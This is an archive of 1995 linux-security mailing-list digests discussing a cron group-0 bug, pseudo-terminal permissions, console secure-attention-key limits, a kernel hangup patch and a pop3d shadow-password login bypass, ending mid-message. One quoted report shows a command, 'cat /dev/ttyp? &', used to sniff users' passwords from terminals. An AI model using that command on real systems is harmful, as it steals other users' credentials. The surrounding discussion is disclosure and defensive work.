============================================================================= ------------------------------ From: Ian Jackson Date: Mon, 25 Sep 95 03:08 BST Subject: Re: cron 3.0pl1-20: URGENT SECURITY FIX Aleph One writes (in email to me, which I hope he won't mind me quoting): > Ian I been looking into this to make an ALERT and send it out on the > linux-alert and linux-security lists. Yet for all my tests under > slackware and debian all I can see is that the fact that initgroups is > not being called is that certain software may not work because all of it > groups are not loaded. Could you explain why you belive this is a > security problem? Running id and groups from a non-root crontab showed no > strange groups or ids. Most crons run with a supplementary groups list that contains one entry, for the group `0'. If this is not reset then the users can access files which are readable/writeable by group `0' even if they are not members of the group (and make things setgid to `0' or whatever). Aleph One writes ("cron 3.0pl1-20: URGENT SECURITY FIX (fwd)"): > Anyone know anything more? > - ---------- Forwarded message ---------- > Date: Thu, 21 Sep 95 01:58 BST > From: Ian Jackson > To: Debian package announcements > Subject: cron 3.0pl1-20: URGENT SECURITY FIX It would have been a good idea to read some of the other traffic I sent to the Debian lists about this, or to mail me asking for information, rather than asking linux-security. [Mod: I posted Aleph's message to linux-security mainly because he was forwarding your announcement, which was the first word we'd heard in this form regarding the issue. The question that he was asking ("Anyone know anything more?") was really secondary... --Jeff.] do_command.c in Vixie-Cron 3.0pl1 contains the code: # if defined(BSD) initgroups(env_get("LOGNAME", e->envp), e->gid); # endif If compiled naively this will omit the initgroups call under Linux, and so users will not have their cron jobs' supplementary groups set correctly. As noted above, this can allow users access to group `0' when they should not be allowed it. (On my system, for example, this would get them root access quite easily.) The message you quoted was my announcement to debian-changes of the fixed Debian binary and source packages. Both of those are available from ftp.debian.org and its mirror sites, in binary/admin/cron-3.0pl1-20.deb and source/admin/cron-3.0pl1-20.tar.gz respectively. -19.deb and -19.tar.gz are the old, broken versions. All Debian users should upgrade immediately in the standard way (type `dpkg --install cron-3.0pl1-20.deb'). I don't know whether Slackware's cron is vulnerable. Debian's cron is probably unsuitable for use on Slackware because of different conventions about uid-numbering; also, Slackware's cron probably has a slightly different layout for the cron jobs (Debian is frequently more FSSTND-compliant than Slackware). Ian. ------------------------------ From: Zygo Blaxell Date: Mon, 25 Sep 1995 01:30:37 -0400 (EDT) Subject: Re: Problem with /dev/ttyp* Quoted from Florian La Roche: > The real problem is getty_ps, which has still a "chmod 666" in it, so that the That's a bug. I found that months ago, and reported it to the author (there's also a 'chown' that can be fooled by symlinks). (sigh, that's like the fifth bug I found a year ago that's still floating around everywhere. Maybe what Linux needs is a good solid WWW-accessible bug database, if only so that developers can stop making the same mistakes over and over again, and so distribution maintainers can stop compiling binaries with the same bugs over and over again). > time, people can start that "cat /dev/tty..." is pretty long. > Fixing that, will give you a very short amount of time to do this. > But you are right, that also telnetd should be changed to not do a > "chmod 666" on exit. It should be "chmod 600" in my opinion. If you do this, then emacs, script, term, and friends won't be able to get pty services in programs. Not that this is a bad thing, though; they will certainly not be able to use the pty's securely if just anyone can open them. - -- Zygo Blaxell, former sysadmin and software/hardware guru for the University of Waterloo Computer Science Club; current sysadmin for miranda.uwaterloo.ca and Myrus Design, Inc. 10th place team, ACM Programming Contest International Finals 1994. Will administer Unix (esp. Linux) for warm clothing or anime. "I was finding holes in Netscape long ago; serious bugs any wannabe could exploit. But now that _everyone_ is doing it, it's just not _cool_ any more." ------------------------------ From: Zygo Blaxell Date: Sun, 24 Sep 1995 21:58:08 -0400 (EDT) Subject: Re: cron 3.0pl1-20: URGENT SECURITY FIX (fwd) Quoted from Michael Shields: > -----BEGIN PGP SIGNED MESSAGE----- > > It's also a functionality bug because it prevents you from running jobs > that need sroup permissions you normally have. I fixed it a year ago and > think I reported it then, but didn't think of it as a security hole. > > Date: Thu, 21 Sep 95 01:58 BST > > From: Ian Jackson > > To: Debian package announcements > > Subject: cron 3.0pl1-20: URGENT SECURITY FIX > > > > There is a major security hole in cron 3.0pl1-19 and earlier, allowing > > any user to gain access to the `root' group. On many (most?) systems > > this will quickly allow them to gain superuser access. Actually, this gives you access to all of the groups that root belongs to, if I remember the bug correctly (hmmm...sure 'nough, in my build logs for cron, a patch for it is listed as a 'portability' bug, not a 'security' bug. Oops). A cute workaround: remove root from all groups in /etc/group. This should break absolutely nothing. (think about it: why does 'root' need access to a group anyway?). Also configure your system so that group 'root' doesn't buy you anything (something that people who have to use NFS should be familiar with anyway; the same problem (and worse) affects NFS). Many other programs (most notably any perl script) don't handle initgroups properly. The workaround above fixes these other programs as well. - -- Zygo Blaxell, former sysadmin and software/hardware guru for the University of Waterloo Computer Science Club; current sysadmin for miranda.uwaterloo.ca and Myrus Design, Inc. 10th place team, ACM Programming Contest International Finals 1994. Will administer Unix (esp. Linux) for warm clothing or anime. "I was finding holes in Netscape long ago; serious bugs any wannabe could exploit. But now that _everyone_ is doing it, it's just not _cool_ any more." ------------------------------ From: Zygo Blaxell Date: Fri, 22 Sep 1995 04:16:32 -0400 (EDT) Subject: Re: console security (was Re: problem with selection)h Quoted from Kenneth J. Hendrickson: > > Zygo Blaxell writes: > >Console security really sucks on Linux. > > If anybody is sitting at the console they can do anything they want on > any of the virtual console terminals anyway. In addition, there can be > no security once access to physical hardware is possible. Neither of these statements is necessarily true. If you are sitting at my console, and you do not have a screwdriver, there is very little you can do with it. The same is true of any Linux-based public workstation. > Why put effort into fixing what can't be fixed? Most Unix consoles are pretty secure. You can be assured that after asserting DCD low followed by DCD high, for instance, that a serial console is now presenting you with a real login prompt, not a program the previous user left running. You can be assured that your console is not being monitored, and will not be interfered with during the lifetime of your session. You can assume that the keyboard keys have some default mapping. And, on better consoles, you can hit a key which assures that the console is now irretrievably disconnected from whatever processes are currently running on it. None of these are true for Linux; hence Linux console security sucks. [mod: Linux has had the secure attention key for a very long time; it can be enabled using setserial. Is there any indication that it doesn't work? --okir] - -- Zygo Blaxell, former sysadmin and software/hardware guru for the University of Waterloo Computer Science Club; current sysadmin for miranda.uwaterloo.ca and Myrus Design, Inc. 10th place team, ACM Programming Contest International Finals 1994. Will administer Unix (esp. Linux) for warm clothing or anime. ------------------------------ From: Tomasz Surmacz Date: Thu, 21 Sep 1995 01:39:26 +0200 (MET DST) Subject: Re: Problem with /dev/ttyp* Perry Francis Nguyen wrote: > On Tue, 19 Sep 1995, Joe Portman wrote: > > > I just discovered a user sniffing passwords by doing the following on > > my system. > > Kernel 1.2.11 > > > cat /dev/ttyp? & [...] > The only effective way I've found to prevent this from happening is to > rewrite /bin/login to chmod() the tty to mode 600 before reading the > username/password and then chowning the tty to the owner.tty and then > mode 620. > > I've so far seen no other possible way around this problem. Forcing a > default permission of 660 root.tty broke many applications that > cannot/will not run setuid, ie. splitvt, cmdtool, ytalk, etc. anything > that uses a pty. Use ssh/sshd (secure shell) package. This replaces rshd, rlogind and telnetd doing its own host and user authorization. First the hosts must identify themselves by exchanging their public keys, then the user keys are checked, or the .shosts or .rhosts file, and if none of these methods grants access, the user is asked for password LOCALLY, which then gets encrypted, and sent through the network to the server for validation. It is not possible this way to intercept any connection tty sniffing. I am not sure now where the sshd package can be found (MOST probably in ftp.funet.fi:/pub/ssh, but I am not sure and cannot check it at the moment). It is still in development though, but I am using it for at least 2 months and it seems good and reliable. Tomasz - -- _________ (_ _' __) Tomasz R. Surmacz * Work:(071)202489, [email protected] | (__ \ http://www.ict.pwr.wroc.pl/~tsurmacz/ Home: [email protected] |__(____/ For PGP key finger [email protected] *----* irc: TomekS ------------------------------ From: [email protected] Date: Tue, 26 Sep 1995 10:26:15 +0100 Subject: Re: console security Zygo Blaxell writes: : Most Unix consoles are pretty secure. You can be assured that after : asserting DCD low followed by DCD high, for instance, that a serial : console is now presenting you with a real login prompt, not a program : the previous user left running. You can be assured that your console is : not being monitored, and will not be interfered with during the lifetime : of your session. You can assume that the keyboard keys have some : default mapping. And, on better consoles, you can hit a key which : assures that the console is now irretrievably disconnected from whatever : processes are currently running on it. : None of these are true for Linux; hence Linux console security sucks. : [mod: Linux has had the secure attention key for a very long time; it can : be enabled using setserial. Is there any indication that it doesn't : work? --okir] It does work for tty's, including the console keyboard, in the sense that it will kill all processes that have a file descriptor open on the tty or belong to the same session. Also the buffers are flushed. It does not work in several other senses, as Zygo mentioned: It does not assure a default key mapping. [How could it? Read it from a file? That is not something that belongs in the kernel, it is something that login might do. Reset to a universal default? But that probably makes the keyboard very difficult to use. A german keyboard interchanges y and z. A french keyboard interchanges a and q, and w and z. All national keyboards permute the nonletters nondigits in a random way.] It does not assure a default font. [How could it? Go back to the font in the character ROM? A possibility, but again a decision that is better taken outside the kernel.] It does not assure a default character set to font mapping. It does not assure that the console is in a useable mode. Etc. Since one is not sure of the key mapping, one doesn't know for sure that the key one presses is really the SAK. Then there is the matter of aliasing. A file descriptor to /dev/tty2 allows access to the keyboard, so killing everybody on /dev/tty1 is not enough. So, no - the SAK is not secure on the console. ------------------------------ From: "Miller, Raul D." Date: Mon, 25 Sep 95 23:35:00 PDT Subject: Re: console security (was Re: problem wi Zygo Blaxell: None of these are true for Linux; hence Linux console security sucks. Note that there's a difference between console security for users and console security for processes. For example, I may have a root session on one of the consoles, and a test session on another. Just because *I* can flip between consoles and do things as root doesn't mean that I want the test session to have that capability. [mod: Linux has had the secure attention key for a very long time; it can be enabled using setserial. Is there any indication that it doesn't work? --okir] I don't know if it works, but last time I checked the copyright on setserial prevented its free distribution. Personally, I don't think of a feature as belonging to linux if the code to enable that feature can't be distributed in the same manner as the kernel. - -- Raul ------------------------------ End of linux-security-digest V1 #38 *********************************** linux-security-digest/1995/v01.n039100664 1767 1767 55747 6034534311 16073 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #39 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 4 October 1995 Volume 01 : Number 039 Re: Problem with /dev/ttyp* Re: console security (was Re: problem wi Re: console security (was Re: problem wi Re: Problem with /dev/ttyp* Re: console security (was Re: problem with selection)h Re: console security (was Re: problem with selection)h (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! ---------------------------------------------------------------------- From: Malcolm Beattie Date: Fri, 22 Sep 1995 11:45:53 +0000 (BST) Subject: Re: Problem with /dev/ttyp* Theodore Ts'o writes: > > From: Malcolm Beattie > Date: Thu, 21 Sep 1995 10:52:49 +0000 (BST) > > Surely if it's done the POSIX way then you don't need vhangup? The login > process should become a session leader with setsid() and then acquire a > pseudo-terminal as controlling terminal (see POSIX 7.1.1.3). Once it's > done that, processes in any other session that try to read from/write to > that terminal should get EOF on reads and EIO on writes (7.1.1.10). > > But POSIX doesn't specify that. Section 7.1.1.10 applies when a modem > disconnect is detected by the terminal interface for a controlling > terminal. 7.1.1.3 states that how a process can acquire a controlling > terminal is "implementation defined" --- it MAY happen if the a process > is a session leader and doesn't otherwise have a controlling terminal, > but it's not guaranteed to. I was perhaps a little ambiguous when I said "should get EOF on reads...". What I meant was that the Linux kernel should behave that way (or be made to behave that way) since it seems to be "good" behaviour to do so. Before I go on, let me say I don't want to be dogmatic nor do I want to give any egg-sucking lessons to aged relatives. I thought I understood this stuff, but I may be wrong so treat me gently. I've only got POSIX 1003.1 and not .1a so if there are any differences, I'd like to know. > In any case, nowhere in POSIX is it specified that access to the tty is > revoked (as in a hangup) to other processes after it is acquired as a > controlling terminal by a session loeader. Although not required, it seems to be allowed. In the Rationale under "Implementing Job Control Systems", it mentions the vhangup() and SysV behaviour and and confirms that conforming POSIX application's shouldn't muck around with a controlling terminal after logout. Going back to 7.1.1.3: When a controlling process terminates...Subsequent access to the terminal by other processes in the earlier session may be denied, with attempts to access the terminal treated as if modem disconnect has been sensed. The rationale also says Note that, if an implementation chooses to deny access to a controlling terminal after its controlling process exits, the standard requires a certain type of behaviour (see 7.1.1.3). The "as if modem disconnect has been sensed" behaviour is defined in 7.1.1.10 and is "reads return EOF, writes return -1 with EIO". The rationale for 7.1.1.4 (sic) says that job control terminal access control if only intended for controlling terminals and not other access to terminals, but there's no equivalent rationale statement for 7.1.1.3. > If you think there is such a statement, please point it out to me; I've > spent a lot of time studying the POSIX.1 (1990) specification while I > was implementing POSIX job control for Linux, many years back, and I > never ran into anything like that. It's possible that I missed it, > though; so if you can point me at the POSIX chapter and verse where this > is actually claimed, I'd appreciate it. I know about you work on Linux, of course, which is why I'm wary about making claims which apparently contradict your feelings. What I seem to be claiming is that POSIX *allows* (rather than requires) an implementation where the acquiring of a terminal as a controlling terminal results in any other process being unable to read/write to that terminal. - --Malcolm - -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services ------------------------------ From: "Theodore Ts'o" Date: Thu, 28 Sep 1995 13:58:51 -0400 Subject: Re: console security (was Re: problem wi From: "Miller, Raul D." Date: Mon, 25 Sep 95 23:35:00 PDT I don't know if it works, but last time I checked the copyright on setserial prevented its free distribution. Personally, I don't think of a feature as belonging to linux if the code to enable that feature can't be distributed in the same manner as the kernel. Huh? There is no copyright notice on setserial at all, mostly because I never got around to it --- it was originally such a trivial program that I never bothered. An oversight on my part; the intent was that the file be freely redistributable, and indeed it's my impression that most distributions are including it as a matter of course. This is the first that I had heard that anyone had any hangups about the copyright status of setserial; I wish people who had such concerns would contact me directly, instead of flaming publically about it. I very easily put a free redistribution notice on the file, if that what it takes to make people happy. That being said, if you look at the comments in the kernel sources regarding the SAK, you will see that I am very well aware of its shortcomings. A really correct implementation would require the help of specialized code in /etc/init, to do things like restore the default font, keymappings, etc. It turns out, though that you still can't do a perfect job, due to the brain damaged way that video modes that handled by the Linux system. That is to say, user programs are responsible for saving and restoring the contents of the video registers, *not* the kernel. Hence, it's basically impossible for the kernel for the kernel to reset the video mode to anything sane when the SAK is pressed. The right way to do things is that the kernel should be responsible for setting and resetting the video modes, and all the programs that currently muck with such things (X11, dosemu, svgalib, etc.) would rely on kernel calls to do their work. This has the further advantage that programs that rely on svgalib no longer need to be setuid root, and that buggy X servers, dosemu, and svgalib programs can no longer render the console to be useless, requiring a reboot to fix things. The main reason why no one has done any of these work? Probably because in 99.7% of the Linux boxes out there, console security is basically pointless. If you have access to the Linux console, you probably also have access to the computer --- specifically, you can probably insert your own boot floppy, and reboot the machine by hitting the magic "big red button", or simply by power cycling the machine. It's possible to close off some of these holes, if you have a BIOS that allows passwords (although someone has already posted the routine that will allow you to retrieve the password from the CMOS for AMI BIOS's), AND you can disable booting from the floppy, AND you don't allow any other OS, like DOS, to be booted from LILO, AND you configure LILO so that the user can't specify arguments to the boot command, AND the CPU box is locked up so someone can't open up the case, and blast the contents of the CMOS. However, most of the time people just don't care about console security. If you're running Linux as timesharing machine (or a dialup server, or a PPP server, or whatever), it wants to be locked up somewhere where you can provide good physical security for the machine. If you're running it as a single-user workstation, then console security isn't important. There are some rare cases where console security is actually important in real life. However, these are the execption, not the rule. That's why I never bothered taking the SAK code any further than where I had left it. If someone wants to take it further, be my guest! However, be warned that the number of people who will find it useful will be relatively small, and it's not going to be easy. Many people will therefore probably find it not worth doing (unless of course they need it themselves for their own application --- in which case they should be warned that they had better think about other ways that someone with access to the console can break into their system). - Ted ------------------------------ From: Raul Miller Date: Thu, 28 Sep 1995 16:28:19 -0400 Subject: Re: console security (was Re: problem wi Ted Ts'o writes: Huh? There is no copyright notice on setserial at all, mostly because I never got around to it --- it was originally such a trivial program that I never bothered. An oversight on my part; the intent was that the file be freely redistributable, and indeed it's my impression that most distributions are including it as a matter of course. Sounds good. For what it's worth, the legal status of a document without a copyright is that no one is allowed to distribute it but the author. This has been international law for the last few years. [Older documents without copyright notices are still distributable under the old rules.] This is the first that I had heard that anyone had any hangups about the copyright status of setserial; I wish people who had such concerns would contact me directly, instead of flaming publically about it. I very easily put a free redistribution notice on the file, if that what it takes to make people happy. I apologize for this flame bit. At the time I composed that letter, I had long since moved to a system without a copy of setserial (or its sources) -- I did not think I had a right to them. I didn't know you were the author, or I would have pointed this aspect out to you. I don't think this conversation has much to do with linux-security beyond this: I'm sorry about the flame. - -- Raul ------------------------------ From: "Theodore Ts'o" Date: Fri, 29 Sep 1995 02:47:10 -0400 Subject: Re: Problem with /dev/ttyp* From: Malcolm Beattie Date: Fri, 22 Sep 1995 11:45:53 +0000 (BST) > In any case, nowhere in POSIX is it specified that access to the tty is > revoked (as in a hangup) to other processes after it is acquired as a > controlling terminal by a session loeader. Although not required, it seems to be allowed. In the Rationale under "Implementing Job Control Systems", it mentions the vhangup() and SysV behaviour and and confirms that conforming POSIX application's shouldn't muck around with a controlling terminal after logout. Yes, looking more closely, it does seem to be allowed --- not when a tty is acquired as a controlling tty by a session leader, but upon the exit of the session leader of the preceeding process. After thinking about this some more, doing an implicit vhangup when the controlling terminal exits might not be a bad idea. I can't think of any problems this might cause. So here's a patch to do this (along with another patch which fixes certain pty opening problems). If people could try this out and let me know how it works, I'd appreciate it. Please let me know if this patch causes any problems. We're making a pretty big change in what happens at logout time, so I'd appreciate as much testing as possible. I know about you work on Linux, of course, which is why I'm wary about making claims which apparently contradict your feelings. What I seem to be claiming is that POSIX *allows* (rather than requires) an implementation where the acquiring of a terminal as a controlling terminal results in any other process being unable to read/write to that terminal. Nope, that's not what it says. It allows for the operating system to revoke access to all other file descriptors that point to the controlling tty of the session leader, when the session leader exits. That's not the same as revoking all access by other processes when a session leader acquires a tty as a controlling tty. Again, if you can show otherwise, please send me or quote me the section number of the POSIX standard which you think might be applicable. - Ted =================================================================== RCS file: kernel/RCS/exit.c,v retrieving revision 1.1 diff -u -r1.1 kernel/exit.c - --- kernel/exit.c 1995/09/29 03:37:23 1.1 +++ kernel/exit.c 1995/09/29 06:25:38 @@ -480,8 +480,11 @@ kill_pg(p->pgrp,SIGCONT,1); } } - - if (current->leader) + if (current->leader) { + if (current->tty) + tty_vhangup(current->tty); disassociate_ctty(1); + } } NORET_TYPE void do_exit(long code) =================================================================== RCS file: drivers/char/RCS/pty.c,v retrieving revision 1.1 diff -u -r1.1 drivers/char/pty.c - --- drivers/char/pty.c 1995/09/29 03:37:29 1.1 +++ drivers/char/pty.c 1995/09/29 03:39:14 @@ -77,9 +77,10 @@ return; wake_up_interruptible(&tty->link->read_wait); wake_up_interruptible(&tty->link->write_wait); - - if (tty->driver.subtype == PTY_TYPE_MASTER) + if (tty->driver.subtype == PTY_TYPE_MASTER) { tty_hangup(tty->link); - - else { + set_bit(TTY_SLAVE_CLOSED, &tty->flags); + } else { start_tty(tty); set_bit(TTY_SLAVE_CLOSED, &tty->link->flags); } @@ -204,7 +205,8 @@ set_bit(TTY_THROTTLED, &tty->flags); if (filp->f_flags & O_NDELAY) return 0; - - while (!tty->link->count && !(current->signal & ~current->blocked)) + while (test_bit(TTY_SLAVE_CLOSED, &tty->link->flags) && + !(current->signal & ~current->blocked)) interruptible_sleep_on(&pty->open_wait); if (!tty->link->count) return -ERESTARTSYS; ------------------------------ From: Ian Jackson Date: Sat, 30 Sep 95 02:36 BST Subject: Re: console security (was Re: problem with selection)h > [mod: Linux has had the secure attention key for a very long time; it can > be enabled using setserial. Is there any indication that it doesn't > work? --okir] Yes. In April last I sent the attached message to linux-serial. The problem is still be present in 1.2.13, except that SAK (line break) now reliably does nothing once a user is logged in. In May I wrote to Ted Ts'o and said "have you seen my bug report", and he said "no". I sent it to him again. I have not had any reply since. This is not a critical issue for me (unlike the massive and numerous holes in /proc, currently being discussed on linux-kernel), so I haven't investigated deeply. I have to say I'm not particularly impressed with the responsiveness to bug reports about the serial driver. From kernel version 1.1.13 to 1.1.40 or so hardware flow control was broken. I kept reporting this, and was told things like "well, most people mailing me say it works for them", and it took several months before the problem was acknowledged and then fixed. In the meantime of course I'd been unable to test the recent 1.1.x series kernels and a data-corrupting bug had been introduced in the floppy driver. Andries Brouwer writes ("Re: console security"): > It does not work in several other senses, as Zygo mentioned: > It does not assure a default key mapping. > [How could it? Read it from a file? That is not something > that belongs in the kernel, it is something that login might do. > Reset to a universal default? But that probably makes the > keyboard very difficult to use. > A german keyboard interchanges y and z. > A french keyboard interchanges a and q, and w and z. > All national keyboards permute the nonletters nondigits in a random way.] > It does not assure a default font. > [How could it? Go back to the font in the character ROM? > A possibility, but again a decision that is better taken outside the kernel.] > It does not assure a default character set to font mapping. > It does not assure that the console is in a useable mode. I was going to say that only root may load new keymaps, change video mode, &c, however this appears to be false, for keymaps at least. Under the circumstances the correct solution, IMO, is to have a version of getty which reset all of this stuff. > Since one is not sure of the key mapping, one doesn't know for sure > that the key one presses is really the SAK. The SAK should clearly not be remappable (except by root). > Then there is the matter of aliasing. A file descriptor to /dev/tty2 > allows access to the keyboard, so killing everybody on /dev/tty1 is not > enough. Can a process on tty2 really access keystrokes on the whole console ? If so, WHY ???!!! Who the hell thought that this would be a really nifty "feature" to add. I've just had to do surgery to make the procfs secure on my system, and it has broken strace and gdb, and now I discover that this "really neat feature" mindset is all-pervasive. GRRRR ! Ian. ------------------------------ From: "Theodore Ts'o" Date: Sat, 30 Sep 1995 03:00:22 -0400 Subject: Re: console security (was Re: problem with selection)h Date: Sat, 30 Sep 95 02:36 BST From: Ian Jackson In May I wrote to Ted Ts'o and said "have you seen my bug report", and he said "no". I sent it to him again. I have not had any reply since. I don't think I saw the bug report the second time, sorry..... in any case I don't remember it. I have to say I'm not particularly impressed with the responsiveness to bug reports about the serial driver. From kernel version 1.1.13 to 1.1.40 or so hardware flow control was broken. I kept reporting this, and was told things like "well, most people mailing me say it works for them", and it took several months before the problem was acknowledged and then fixed. In the meantime of course I'd been unable to test the recent 1.1.x series kernels and a data-corrupting bug had been introduced in the floppy driver. I'm busy; very busy. Bug reports which don't contain a lot of information, or which can't be easily reproduced, I don't spend a lot of time on. Sorry, that's just the way it is. When someone actually took the time to send me a reproduceable bug report, (spending some amount of their own time doing their own analysis), so I could see what the problem was, I fixed it promptly. The serial driver is a very hard piece of code to maintain, since in many cases the bug is in the setup, or the application software, and not in the kernel. Often, I don't have a copy of the particular version of getty, or login, or uucp, or whatever where someone is seeing the problem, making it even hard for me to reproduce the problem. If you want me to spend large amounts of time working on your particular problem, including reproducing your environment so I can try to find your bug, when you can't be bothered to do some of the analysis on your end, you've got another think coming. I do a lot of work for the Linux community, gratis; if you want more time out of my own life than that which I will gladly offer to the community, you're going to have to pay for it. - Ted [Mod: Ian's most recent post(s), along with parts of this thread on console security and the serial driver, seem to have touched a nerve with a couple of people. lilo also posted two brief comments on this, which I am attaching here, rather than approving as separate posts, as they sort of reiterate what Ted has said. Please take the rest of this thread to private e-mail unless new developments warrant a return to list postings. I am trying to avoid the situation that lilo mentions in post 1. --Jeff.] Post 1 from lilo: This is one of those, `Mr. Software Person, if you're listening, I'm really dissatisfied with the free work you're doing' messages. I saw a lot of those on linux-gcc before I unsubscribed because there seemed to be more complaining than constructive comments.... Unless you're planning on taking over the maintenance of the serial drivers for Linux...? Post 2 from lilo: Ted has made the point, repeatedly, that if you have access to the console, you have access to pretty much the whole machine. Local security on PC equipment has never been very good. The point is arguable, but Ted's problem with the cost-benefit ratio of enhancements to security which can be overridden with a floppy is certainly understandable. ------------------------------ From: Panzer Boy Date: Wed, 4 Oct 1995 11:28:04 -0400 Subject: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Has anyone poked into this yet? I just gleamed it off of of the Linux ISP list. I am running pop from the pine imap code (w/ shadow changes) and wasn't able to verify this problem, though I don't usually run bins I gleam from sunsite, et al. pine3.91 imap/pop shadow patches can be grabbed from: ftp.dhp.com:/pub/linux/security/pine.shadow - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." Path: news.dhp.com!news.dhp.com!not-for-mail From: System Administrator Newsgroups: mail.linux-isp Subject: [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Date: 1 Oct 1995 19:19:35 -0400 Message-ID: To: [email protected] I have recently discovered a security flaw in pop3d Version 1.004 with shadow password support. (Not sure about the version without shadow support, but you might want to check). I discovered that after changing to shadow support and compiling and testing all of my programs (i.e. ftpd, pop3d, login, etc) that the pop3d allowed me to view anyone mail on my system, no matter what password I put in. Thinking that it was maybe something I had wrong I telneted to the pop3 port on a few of the shadow linux systems I knew about. EVERY System I tried that was running 1.004 allowed me to read anyone on that systems mail. I have looked at the code and have narrowed it down to the util.c file, but am in no way a very good c programmer. I am putting out this notice to warn everone and to hope that someone will come up with a fix very quickly. And since my newsfeed is down for the weekend would someone please post this on the newsgroups and anywhere else you might think it will get distributed the fastest. Thanks. /---------------------------------------------------------------------------\ | John Maslanik |\/| | \ / Voice: (619) 449-6282 | | MLXnet Admin | | |__ / \ Data/Fax: (619) 449-6274 | \---------------------------------------------------------------------------/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To [un]subscribe to this list, contact [email protected] Please send contributions for the mailing list to: [email protected] Please contact the mailing-list-owner as: [email protected] ------------------------------ End of linux-security-digest V1 #39 *********************************** linux-security-digest/1995/v01.n040100664 1767 1767 47407 6037143602 16057 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #40 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 12 October 1995 Volume 01 : Number 040 Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Kernel /proc security holes Re: pop3d stuff Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Re: POP3 security hole (Maybe just one distribution/binary?) Re: Kernel /proc security holes Re: console security (was Re: problem wi ---------------------------------------------------------------------- From: root Date: Wed, 4 Oct 1995 13:08:04 -0700 (PDT) Subject: Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! > I have recently discovered a security flaw in pop3d Version 1.004 with > shadow password support. (Not sure about the version without shadow > support, but you might want to check). [mod: rest of quoted article removed --okir] I checked my non-shadow system, and it doesn't let me read other mail without the actual passwd. sean ------------------------------ From: Perry F Nguyen Date: Wed, 4 Oct 1995 15:57:38 -0700 (PDT) Subject: Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! On Wed, 4 Oct 1995, Panzer Boy wrote: [Mod: Quoting trimmed. --Jeff.] > I have recently discovered a security flaw in pop3d Version 1.004 with > shadow password support. (Not sure about the version without shadow > support, but you might want to check). I discovered that after changing > to shadow support and compiling and testing all of my programs (i.e. > ftpd, pop3d, login, etc) that the pop3d allowed me to view anyone mail on > my system, no matter what password I put in. Thinking that it was maybe This is quite the problem with the compiled version of pop3d with shadow, not a bug in the program itself. The person that compiled it most likely removed the valid() function call in util.c which is what checks for a proper password. To properly fix this, one must compiled pop3d with valid.o from the shadow suite, or include valid.o in libshadow.a - -- pub 1024/0D97E00D 1995/01/01 Perry "Huy" Francis Nguyen Key fingerprint = CE 62 F2 01 33 87 9D 89 BC 53 8D 11 F9 A0 DE 8F - FTP ftp://ftp.netcom.com/pub/pf/pfn FTP or finger [email protected] for PGP Public Key. ------------------------------ From: Torsten Eichstaedt Date: Thu, 5 Oct 1995 04:33:47 +0100 Subject: Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! I could not verify this bug at systems *without* shadow pw. I tested pop3d 1.004 on SunOS 4.1.3 and on Linux 1.2.x. Bye, to - -- Torsten Eichstaedt eMail: [email protected] Internet-Support [email protected] MetaWorks GmbH, Florinsmarkt 5, D 56068 Koblenz, phone: +49 261 9114350 ------------------------------ From: Torsten Eichstaedt Date: Thu, 5 Oct 1995 03:58:56 +0100 Subject: Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! On Wed, 4 Oct 1995, Panzer Boy wrote: > [...] > to hope that someone will come up with a fix very quickly. And since my > newsfeed is down for the weekend would someone please post this on the > newsgroups and anywhere else you might think it will get distributed the > fastest. Thanks. > Oh no, please. It's too easy to read a newsgroup, and thousands of clowns will try to exploit this bug; but there are only a few real intruders on this mailing list that will read my mail folder (there's nothing in there that blames me, I hope :) ). to - -- Torsten Eichstaedt eMail: [email protected] Internet-Support [email protected] MetaWorks GmbH, Florinsmarkt 5, D 56068 Koblenz, phone: +49 261 9114350 ------------------------------ From: Nick Kralevich Date: Wed, 4 Oct 1995 23:16:16 -0700 (PDT) Subject: Kernel /proc security holes I've heard numerous people mention the security holes in the /proc filesystem. From what I have heard, most of the discussion goes on in the Linux kernel mailing list. However, I don't subscribe to that list. Right now I am running 1.2.13. Are there any known security holes in that version? If so, how would I go about patching those holes? Would someone mind summerizing the /proc security holes that have been found so far? Take care, - -- Nick Kralevich [email protected] ------------------------------ From: [email protected] (Panzer Boy) Date: 5 Oct 1995 01:21:39 -0400 Subject: Re: pop3d stuff Just a quick clarification. I didn't write the original message, or even come up with the annoyingly long Subject line. I just found it on the linux-ISP list, and figured that it should belong here on the linux-security list. I have yet to hear of anyone else with this problem, so maybe this guy managed to find the only binary with this problem, or he compiled it himself and doesn't remember. - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: Greg Gallagher Date: Thu, 5 Oct 1995 09:30:35 -0500 (CDT) Subject: Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! > I have recently discovered a security flaw in pop3d Version 1.004 with > shadow password support. (Not sure about the version without shadow > support, but you might 